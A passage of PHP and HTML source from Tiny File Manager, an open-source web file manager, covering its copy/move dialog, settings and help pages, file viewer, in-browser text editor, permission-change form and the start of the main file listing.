    if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
?>
    <div class="path">
        <p><b>Copying</b></p>
        <p class="break-word">
            <strong>Source path:</strong> <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
            <strong>Destination folder:</strong> <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
        </p>
        <p>
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1&amp;move=1"><i class="fa fa-check-circle"></i> Move</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b>
        </p>
        <p><i><?php echo lng('Select folder') ?></i></p>
        <ul class="folders break-word">
            <?php
            if ($parent !== false) {
            ?>
                <li><a href="?p=<?php echo urlencode($parent) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
            <?php
            }
            foreach ($folders as $f) {
            ?>
                <li>
                    <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a>
                </li>
            <?php
            }
            ?>
        </ul>
    </div>
<?php
    fm_show_footer();
    exit;
}

if (isset($_GET['settings']) && !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang, $lang_list;
?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2" data-bs-theme="<?php echo FM_THEME; ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-cog"></i> <?php echo lng('Settings') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel') ?></a>
            </h6>
            <div class="card-body">
                <form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
                    <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
                    <div class="form-group row">
                        <label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select" id="js-language" name="js-language">
                                <?php
                                function getSelected($l)
                                {
                                    global $lang;
                                    return ($lang == $l) ? 'selected' : '';
                                }
                                foreach ($lang_list as $k => $v) {
                                    echo "<option value='$k' " . getSelected($k) . ">$v</option>";
                                }
                                ?>
                            </select>
                        </div>
                    </div>
                    <div class="mt-3 mb-3 row ">
                        <label for="js-error-report" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                                <input class="form-check-input" type="checkbox" role="switch" id="js-error-report" name="js-error-report" value="true" <?php echo $report_errors ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-show-hidden" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                                <input class="form-check-input" type="checkbox" role="switch" id="js-show-hidden" name="js-show-hidden" value="true" <?php echo $show_hidden_files ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-hide-cols" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                                <input class="form-check-input" type="checkbox" role="switch" id="js-hide-cols" name="js-hide-cols" value="true" <?php echo $hide_Cols ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select w-100 text-capitalize" id="js-3-0" name="js-theme-3">
                                <option value='light' <?php if ($theme == "light") {
                                                            echo "selected";
                                                        } ?>>
                                    <?php echo lng('light') ?>
                                </option>
                                <option value='dark' <?php if ($theme == "dark") {
                                                            echo "selected";
                                                        } ?>>
                                    <?php echo lng('dark') ?>
                                </option>
                            </select>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <div class="col-sm-10">
                            <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
                        </div>
                    </div>

                    <small class="text-body-secondary">* <?php echo lng('Sometimes the save action may not work on the first try, so please attempt it again') ?>.</span>
                </form>
            </div>
        </div>
    </div>
<?php
    fm_show_footer();
    exit;
}

if (isset($_GET['help'])) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang;
?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2" data-bs-theme="<?php echo FM_THEME; ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel') ?></a>
            </h6>
            <div class="card-body">
                <div class="row">
                    <div class="col-xs-12 col-sm-6">
                        <p>
                        <h3><a href="https://github.com/prasathmani/tinyfilemanager" target="_blank" class="app-v-title"> Tiny File Manager <?php echo VERSION; ?></a></h3>
                        </p>
                        <p>Author: PRAŚATH MANİ</p>
                        <p>Mail Us: <a href="mailto:ccpprogrammers@gmail.com">ccpprogrammers [at] gmail [dot] com</a> </p>
                    </div>
                    <div class="col-xs-12 col-sm-6">
                        <div class="card">
                            <ul class="list-group list-group-flush">
                                <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/wiki" target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
                                <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/issues" target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
                                <?php if (!FM_READONLY) { ?>
                                    <li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
                                <?php } ?>
                            </ul>
                        </div>
                    </div>
                </div>
                <div class="row js-new-pwd hidden mt-2">
                    <div class="col-12">
                        <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
                            <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
                            <div class="form-group mb-2">
                                <label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
                            </div>
                            <div class="form-group mx-sm-3 mb-2">
                                <label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
                                <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="<?php echo lng('Password') ?>" required>
                            </div>
                            <button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
                        </form>
                        <textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
                    </div>
                </div>
            </div>
        </div>
    </div>
<?php
    fm_show_footer();
    exit;
}

// file viewer
if (isset($_GET['view'])) {
    $file = $_GET['view'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file, $path . '/' . $file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize_raw = fm_get_size($file_path);
    $filesize = fm_get_filesize($filesize_raw);

    $is_zip = false;
    $is_gzip = false;
    $is_image = false;
    $is_audio = false;
    $is_video = false;
    $is_text = false;
    $is_onlineViewer = false;

    $view_title = 'File';
    $filenames = false; // for zip
    $content = ''; // for text
    $online_viewer = strtolower(FM_DOC_VIEWER);

    if ($online_viewer && $online_viewer !== 'false' && in_array($ext, fm_get_onlineViewer_exts())) {
        $is_onlineViewer = true;
    } elseif ($ext == 'zip' || $ext == 'tar') {
        $is_zip = true;
        $view_title = 'Archive';
        $filenames = fm_get_zif_info($file_path, $ext);
    } elseif (in_array($ext, fm_get_image_exts())) {
        $is_image = true;
        $view_title = 'Image';
    } elseif (in_array($ext, fm_get_audio_exts())) {
        $is_audio = true;
        $view_title = 'Audio';
    } elseif (in_array($ext, fm_get_video_exts())) {
        $is_video = true;
        $view_title = 'Video';
    } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

?>
    <div class="row">
        <div class="col-12">
            <ul class="list-group w-50 my-3" data-bs-theme="<?php echo FM_THEME; ?>">
                <li class="list-group-item active" aria-current="true"><strong><?php echo lng($view_title) ?>:</strong> <?php echo fm_enc(fm_convert_win($file)) ?></li>
                <?php $display_path = fm_get_display_path($file_path); ?>
                <li class="list-group-item"><strong><?php echo $display_path['label']; ?>:</strong> <?php echo $display_path['path']; ?></li>
                <li class="list-group-item"><strong><?php echo lng('Date Modified') ?>:</strong> <?php echo date(FM_DATETIME_FORMAT, filemtime($file_path)); ?></li>
                <li class="list-group-item"><strong><?php echo lng('File size') ?>:</strong> <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?></li>
                <li class="list-group-item"><strong><?php echo lng('MIME-type') ?>:</strong> <?php echo $mime_type ?></li>
                <?php
                // ZIP info
                if (($is_zip || $is_gzip) && $filenames !== false) {
                    $total_files = 0;
                    $total_comp = 0;
                    $total_uncomp = 0;
                    foreach ($filenames as $fn) {
                        if (!$fn['folder']) {
                            $total_files++;
                        }
                        $total_comp += $fn['compressed_size'];
                        $total_uncomp += $fn['filesize'];
                    }
                ?>
                    <li class="list-group-item"><?php echo lng('Files in archive') ?>: <?php echo $total_files ?></li>
                    <li class="list-group-item"><?php echo lng('Total size') ?>: <?php echo fm_get_filesize($total_uncomp) ?></li>
                    <li class="list-group-item"> <?php echo lng('Size in archive') ?>: <?php echo fm_get_filesize($total_comp) ?></li>
                    <li class="list-group-item"><?php echo lng('Compression') ?>: <?php echo round(($total_comp / max($total_uncomp, 1)) * 100) ?>%</li>
                <?php
                }
                // Image info
                if ($is_image) {
                    $image_size = getimagesize($file_path);
                    echo '<li class="list-group-item"><strong>' . lng('Image size') . ':</strong> ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '</li>';
                }
                // Text info
                if ($is_text) {
                    $is_utf8 = fm_is_utf8($content);
                    if (function_exists('iconv')) {
                        if (!$is_utf8) {
                            $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
                        }
                    }
                    echo '<li class="list-group-item"><strong>' . lng('Charset') . ':</strong> ' . ($is_utf8 ? 'utf-8' : '8 bit') . '</li>';
                }
                ?>
            </ul>
            <div class="btn-group btn-group-sm flex-wrap" role="group">
                <form method="post" class="d-inline mb-0 btn btn-outline-primary" action="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($file) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <button type="submit" class="btn btn-link btn-sm text-decoration-none fw-bold p-0"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></button> &nbsp;
                </form>
                <?php if (!FM_READONLY): ?>
                    <a class="fw-bold btn btn-outline-primary" title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($file) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete') . ' ' . lng('File'); ?>','<?php echo urlencode($file); ?>', this.href);"> <i class="fa fa-trash"></i> Delete</a>
                <?php endif; ?>
                <a class="fw-bold btn btn-outline-primary" href="<?php echo fm_enc($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
                <?php
                // ZIP actions
                if (!FM_READONLY && ($is_zip || $is_gzip) && $filenames !== false) {
                    $zip_name = pathinfo($file_path, PATHINFO_FILENAME);
                ?>
                    <form method="post" class="d-inline btn btn-outline-primary mb-0">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0 border-0" style="font-size: 14px;"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></button>
                    </form>
                    <form method="post" class="d-inline btn btn-outline-primary mb-0">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <input type="hidden" name="tofolder" value="1">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;" title="UnZip to <?php echo fm_enc($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZipToFolder') ?></button>
                    </form>
                <?php
                }
                if ($is_text && !FM_READONLY) {
                ?>
                    <a class="fw-bold btn btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>" class="edit-file">
                        <i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
                    </a>
                    <a class="fw-bold btn btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&env=ace"
                        class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('AdvancedEditor') ?>
                    </a>
                <?php } ?>
                <a class="fw-bold btn btn-outline-primary" href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a>
            </div>
            <div class="row mt-3">
                <?php
                if ($is_onlineViewer) {
                    if ($online_viewer == 'google') {
                        echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                    } else if ($online_viewer == 'microsoft') {
                        echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                    }
                } elseif ($is_zip) {
                    // ZIP content
                    if ($filenames !== false) {
                        echo '<code class="maxheight">';
                        foreach ($filenames as $fn) {
                            if ($fn['folder']) {
                                echo '<b>' . fm_enc($fn['name']) . '</b><br>';
                            } else {
                                echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
                            }
                        }
                        echo '</code>';
                    } else {
                        echo '<p>' . lng('Error while fetching archive info') . '</p>';
                    }
                } elseif ($is_image) {
                    // Image content
                    if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
                        echo '<p><input type="checkbox" id="preview-img-zoomCheck"><label for="preview-img-zoomCheck"><img src="' . fm_enc($file_url) . '" alt="image" class="preview-img"></label></p>';
                    }
                } elseif ($is_audio) {
                    // Audio content
                    echo '<p><audio src="' . fm_enc($file_url) . '" controls preload="metadata"></audio></p>';
                } elseif ($is_video) {
                    // Video content
                    echo '<div class="preview-video"><video src="' . fm_enc($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
                } elseif ($is_text) {
                    if (FM_USE_HIGHLIGHTJS) {
                        // highlight
                        $hljs_classes = array(
                            'shtml' => 'xml',
                            'htaccess' => 'apache',
                            'phtml' => 'php',
                            'lock' => 'json',
                            'svg' => 'xml',
                        );
                        $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
                        if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
                            $hljs_class = 'nohighlight';
                        }
                        $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fm_enc($content) . '</code></pre>';
                    } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
                        // php highlight
                        $content = highlight_string($content, true);
                    } else {
                        $content = '<pre>' . fm_enc($content) . '</pre>';
                    }
                    echo $content;
                }
                ?>
            </div>
        </div>
    </div>
<?php
    fm_show_footer();
    exit;
}

// file editor
if (isset($_GET['edit']) && !FM_READONLY) {
    $file = $_GET['edit'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file, $path . '/' . $file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    $editFile = ' : <i><b>' . $file . '</b></i>';
    header('X-XSS-Protection:0');
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    // normal editer
    $isNormalEditor = true;
    if (isset($_GET['env'])) {
        if ($_GET['env'] == "ace") {
            $isNormalEditor = false;
        }
    }

    // Save File
    if (isset($_POST['savedata'])) {
        $writedata = $_POST['savedata'];
        $fd = fopen($file_path, "w");
        @fwrite($fd, $writedata);
        fclose($fd);
        fm_set_msg(lng('File Saved Successfully'));
    }

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize = filesize($file_path);
    $is_text = false;
    $content = ''; // for text

    if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

?>
    <div class="path">
        <div class="row">
            <div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
                <div class="btn-toolbar" role="toolbar">
                    <?php if (!$isNormalEditor) { ?>
                        <div class="btn-group js-ace-toolbar">
                            <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="<?php echo lng('Fullscreen') ?>"><i class="fa fa-expand" title="<?php echo lng('Fullscreen') ?>"></i></button>
                            <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="<?php echo lng('Search') ?>"><i class="fa fa-search" title="<?php echo lng('Search') ?>"></i></button>
                            <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="<?php echo lng('Undo') ?>"><i class="fa fa-undo" title="<?php echo lng('Undo') ?>"></i></button>
                            <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="<?php echo lng('Redo') ?>"><i class="fa fa-repeat" title="<?php echo lng('Redo') ?>"></i></button>
                            <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="<?php echo lng('Word Wrap') ?>"><i class="fa fa-text-width" title="<?php echo lng('Word Wrap') ?>"></i></button>
                            <select id="js-ace-mode" data-type="mode" title="<?php echo lng('Select Document Type') ?>" class="btn-outline-secondary border-start-0 d-none d-md-block">
                                <option>-- <?php echo lng('Select Mode') ?> --</option>
                            </select>
                            <select id="js-ace-theme" data-type="theme" title="<?php echo lng('Select Theme') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block">
                                <option>-- <?php echo lng('Select Theme') ?> --</option>
                            </select>
                            <select id="js-ace-fontSize" data-type="fontSize" title="<?php echo lng('Select Font Size') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block">
                                <option>-- <?php echo lng('Select Font Size') ?> --</option>
                            </select>
                        </div>
                    <?php } ?>
                </div>
            </div>
            <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-end pt-1">
                <div class="btn-group">
                    <a title=" <?php echo lng('Back') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
                    <a title="<?php echo lng('BackUp') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
                    <?php if ($is_text) { ?>
                        <?php if ($isNormalEditor) { ?>
                            <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&amp;env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
                            <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
                            </button>
                        <?php } else { ?>
                            <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
                            <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
                            </button>
                        <?php } ?>
                    <?php } ?>
                </div>
            </div>
        </div>
        <?php
        if ($is_text && $isNormalEditor) {
            echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
            echo '<script>document.addEventListener("keydown", function(e) {if ((window.navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey)  && e.keyCode == 83) { e.preventDefault();edit_save(this,"nrl");}}, false);</script>';
        } elseif ($is_text) {
            echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
        } else {
            fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
        }
        ?>
    </div>
<?php
    fm_show_footer();
    exit;
}

// chmod (not for Windows)
if (isset($_GET['chmod']) && !FM_READONLY && !FM_IS_WIN) {
    $file = $_GET['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
    $file_path = $path . '/' . $file;

    $mode = fileperms($path . '/' . $file);
?>
    <div class="path">
        <div class="card mb-2" data-bs-theme="<?php echo FM_THEME; ?>">
            <h6 class="card-header">
                <?php echo lng('ChangePermissions') ?>
            </h6>
            <div class="card-body">
                <p class="card-text">
                    <?php $display_path = fm_get_display_path($file_path); ?>
                    <?php echo $display_path['label']; ?>: <?php echo $display_path['path']; ?><br>
                </p>
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="chmod" value="<?php echo fm_enc($file) ?>">

                    <table class="table compact-table" data-bs-theme="<?php echo FM_THEME; ?>">
                        <tr>
                            <td></td>
                            <td><b><?php echo lng('Owner') ?></b></td>
                            <td><b><?php echo lng('Group') ?></b></td>
                            <td><b><?php echo lng('Other') ?></b></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
                            <td><label><input type="checkbox" name="ur" value="1" <?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gr" value="1" <?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="or" value="1" <?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
                            <td><label><input type="checkbox" name="uw" value="1" <?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gw" value="1" <?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ow" value="1" <?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
                            <td><label><input type="checkbox" name="ux" value="1" <?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gx" value="1" <?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ox" value="1" <?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
                        </tr>
                    </table>

                    <p>
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button>
                    </p>
                </form>
            </div>
        </div>
    </div>
<?php
    fm_show_footer();
    exit;
}

// --- TINYFILEMANAGER MAIN ---
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path

// show alert messages
fm_show_message();

$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
?>
<form action="" method="post" class="pt-3">
    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
    <input type="hidden" name="group" value="1">
    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
    <div class="table-responsive">
        <table class="table table-bordered table-hover table-sm" id="main-table" data-bs-theme="<?php echo FM_THEME; ?>">
            <thead class="thead-white">
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <th style="width:3%" class="custom-checkbox-header">
                            <div class="custom-control custom-checkbox">
                                <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
                                <label class="custom-control-label" for="js-select-all-items"></label>
                            </div>
                        </th><?php endif; ?>
                    <th><?php echo lng('Name') ?></th>
                    <th><?php echo lng('Size') ?></th>
                    <th><?php echo lng('Modified') ?></th>
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <th><?php echo lng('Perms') ?></th>
                        <th><?php echo lng('Owner') ?></th><?php endif; ?>
                    <th><?php echo lng('Actions') ?></th>
                </tr>
            </thead>
            <?php
            // link to parent folder
            if ($parent !== false) {
            ?>
                <tr><?php if (!FM_READONLY): ?>
                        <td class="nosort"></td><?php endif; ?>
                    <td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0"></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols) { ?>
                        <td class="border-0"></td>
                        <td class="border-0"></td>
                    <?php } ?>
                </tr>
            <?php
            }
            $ii = 3399;
            foreach ($folders as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = "";
                $filesize = lng('Folder');
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                $owner = array('name' => '?'); 
                $group = array('name' => '?');
                if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
                    try {
                        $owner_id = fileowner($path . '/' . $f);
                        if ($owner_id != 0) {
                            $owner_info = posix_getpwuid($owner_id);
                            if ($owner_info) {
                                $owner =  $owner_info;
                            }
                        }
                        $group_id = filegroup($path . '/' . $f);
                        $group_info = posix_getgrgid($group_id);
                        if ($group_info) {
                            $group =  $group_info;
                        }
                    } catch (Exception $e) {
                        error_log("exception:" . $e->getMessage());
                    }
                }
            ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                            <div class="custom-control custom-checkbox">
                                <input type="checkbox" class="custom-control-input" id="<?php echo $ii ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
                                <label class="custom-control-label" for="<?php echo $ii ?>"></label>
                            </div>
                        </td>
                    <?php endif; ?>
                    <td data-sort=<?php echo fm_convert_win(fm_enc($f)) ?>>
                        <div class="filename">
                            <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?></a>
                            <?php echo ($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
                        </div>
                    </td>
                    <td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>">
                        <?php echo $filesize; ?>
                    </td>
                    <td data-order="a-<?php echo $date_sorting; ?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <td>
